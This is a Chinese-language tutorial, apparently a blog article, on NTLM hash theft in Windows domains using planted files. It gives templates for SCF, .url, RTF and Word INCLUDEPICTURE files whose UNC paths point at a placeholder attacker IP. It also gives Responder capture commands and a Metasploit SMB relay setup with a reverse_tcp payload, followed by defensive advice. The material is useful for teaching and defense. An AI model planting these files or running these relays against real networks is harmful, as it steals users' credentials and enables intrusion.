浅谈域环境下布置水坑实现hash窃取
字数 1587 2025-08-05 08:19:51

域环境下布置水坑实现Hash窃取技术详解

一、基础知识

1.1 Windows认证机制

NTLM Hash

  • Windows中密码的存储形式
  • 生成过程:
    • 密码转换为十六进制(如admin -> 61646d696e)
    • 进行Unicode转换(610064006d0069006e00)
    • 调用MD4算法加密(209c6174da490caeb422f3fa5a7ae634)

本地认证流程

  1. winlogon.exe接收用户输入
  2. 将密码传递给lsass.exe进程
  3. lsass.exe将明文密码加密为NTLM Hash
  4. 与SAM数据库中的Hash进行比较认证

1.2 Hash类型区分

  • NTLM Hash:存储在SAM数据库或lsass进程中的密码哈希
  • Net-NTLM Hash:网络认证过程中客户端发送的response字段
    • 细分为NTLM v1、NTLMv2、NTLM session v2三种协议
    • 不同协议使用不同Challenge和加密算法

二、水坑攻击技术实现

2.1 SCF文件攻击

SCF文件特性

  • Windows Explorer Command文件
  • 可执行有限操作(显示桌面、打开资源管理器等)
  • 可通过UNC路径触发网络连接

攻击步骤

  1. 创建恶意SCF文件:
[Shell]
Command=2
IconFile=\\攻击机IP\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
  1. 设置文件共享
  2. 使用Responder监听:
responder -I eth0

攻击原理

  • 用户浏览共享时自动建立到UNC路径的连接
  • Windows尝试使用用户凭证进行认证
  • 捕获NTLMv2哈希

2.2 SMB中继攻击

NTLM v2认证流程

  1. 客户端发送登录请求(密码hash一次)
  2. 发送用户名
  3. 服务器返回16字节Challenge
  4. 客户端用密码hash加密Challenge生成Response
  5. 服务器验证Response

中继攻击实现

  1. 使用Metasploit模块:
use exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 攻击机IP
run
  1. 结合SCF文件触发认证

2.3 超链接攻击

实现方法

  1. 创建超链接指向不存在路径:
\\攻击机IP\qwe.exe
  1. 使用Responder监听:
responder -I eth0

攻击特点

  • 类似LLMNR欺骗
  • 访问不存在路径触发本地子网请求

2.4 URL文件攻击

实现步骤

  1. 创建.url文件:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\攻击机IP\qwe.icon
IconIndex=1
  1. 使用Responder监听

注意事项

  • 会触发UAC提示,增加被发现风险
  • 需要用户点击文件

2.5 RTF文件攻击

实现原理

  • 利用RTF文件格式的跨平台特性
  • 插入恶意内容触发网络连接

文件内容示例

{\rtf1{\field{\*\fldinst{INCLUDEPICTURE "\\\\攻击机IP\\qwe.png"}}}}

限制条件

  • 需要目标系统安装Word等支持RTF的软件

2.6 IncludePicture攻击

实现方法

  1. 在Word文档中使用Ctrl+F9插入域代码
  2. 添加恶意路径:
INCLUDEPICTURE "\\\\攻击机IP\\qwe.png"
  1. 保存为XML或DOC文件

三、防御措施

3.1 攻击检测

  • 监控异常UNC路径访问
  • 检查可疑的SCF、URL、RTF文件
  • 关注Responder等工具的监听行为

3.2 防护建议

  1. 禁用不必要的协议:

    • 关闭LLMNR和NetBIOS
    • 限制SMB协议使用
  2. 强化认证机制:

    • 启用SMB签名
    • 使用Kerberos替代NTLM
  3. 用户教育:

    • 避免点击不明文件
    • 警惕异常认证请求
  4. 系统加固:

    • 限制lsass进程访问
    • 启用Credential Guard

四、工具使用

4.1 Responder

基本命令

responder -I eth0

功能特点

  • 监听LLMNR和NetBIOS请求
  • 内置多种认证服务器(SMB、HTTP、LDAP等)
  • 支持Multi-Relay执行命令

4.2 Metasploit

SMB中继模块

use exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST <攻击机IP>
run

五、总结

域环境下水坑攻击实现Hash窃取的核心在于利用Windows的各种文件格式和协议特性,诱导系统自动发起认证请求。通过SCF、URL、RTF等文件结合Responder等工具,攻击者可以在不直接交互的情况下获取Net-NTLM Hash。防御此类攻击需要综合技术防护和用户教育,重点在于限制不必要的协议使用和强化认证机制。

域环境下布置水坑实现Hash窃取技术详解 一、基础知识 1.1 Windows认证机制 NTLM Hash : Windows中密码的存储形式 生成过程: 密码转换为十六进制(如admin -> 61646d696e) 进行Unicode转换(610064006d0069006e00) 调用MD4算法加密(209c6174da490caeb422f3fa5a7ae634) 本地认证流程 : winlogon.exe接收用户输入 将密码传递给lsass.exe进程 lsass.exe将明文密码加密为NTLM Hash 与SAM数据库中的Hash进行比较认证 1.2 Hash类型区分 NTLM Hash :存储在SAM数据库或lsass进程中的密码哈希 Net-NTLM Hash :网络认证过程中客户端发送的response字段 细分为NTLM v1、NTLMv2、NTLM session v2三种协议 不同协议使用不同Challenge和加密算法 二、水坑攻击技术实现 2.1 SCF文件攻击 SCF文件特性 : Windows Explorer Command文件 可执行有限操作(显示桌面、打开资源管理器等) 可通过UNC路径触发网络连接 攻击步骤 : 创建恶意SCF文件: 设置文件共享 使用Responder监听: 攻击原理 : 用户浏览共享时自动建立到UNC路径的连接 Windows尝试使用用户凭证进行认证 捕获NTLMv2哈希 2.2 SMB中继攻击 NTLM v2认证流程 : 客户端发送登录请求(密码hash一次) 发送用户名 服务器返回16字节Challenge 客户端用密码hash加密Challenge生成Response 服务器验证Response 中继攻击实现 : 使用Metasploit模块: 结合SCF文件触发认证 2.3 超链接攻击 实现方法 : 创建超链接指向不存在路径: 使用Responder监听: 攻击特点 : 类似LLMNR欺骗 访问不存在路径触发本地子网请求 2.4 URL文件攻击 实现步骤 : 创建.url文件: 使用Responder监听 注意事项 : 会触发UAC提示,增加被发现风险 需要用户点击文件 2.5 RTF文件攻击 实现原理 : 利用RTF文件格式的跨平台特性 插入恶意内容触发网络连接 文件内容示例 : 限制条件 : 需要目标系统安装Word等支持RTF的软件 2.6 IncludePicture攻击 实现方法 : 在Word文档中使用Ctrl+F9插入域代码 添加恶意路径: 保存为XML或DOC文件 三、防御措施 3.1 攻击检测 监控异常UNC路径访问 检查可疑的SCF、URL、RTF文件 关注Responder等工具的监听行为 3.2 防护建议 禁用不必要的协议: 关闭LLMNR和NetBIOS 限制SMB协议使用 强化认证机制: 启用SMB签名 使用Kerberos替代NTLM 用户教育: 避免点击不明文件 警惕异常认证请求 系统加固: 限制lsass进程访问 启用Credential Guard 四、工具使用 4.1 Responder 基本命令 : 功能特点 : 监听LLMNR和NetBIOS请求 内置多种认证服务器(SMB、HTTP、LDAP等) 支持Multi-Relay执行命令 4.2 Metasploit SMB中继模块 : 五、总结 域环境下水坑攻击实现Hash窃取的核心在于利用Windows的各种文件格式和协议特性,诱导系统自动发起认证请求。通过SCF、URL、RTF等文件结合Responder等工具,攻击者可以在不直接交互的情况下获取Net-NTLM Hash。防御此类攻击需要综合技术防护和用户教育,重点在于限制不必要的协议使用和强化认证机制。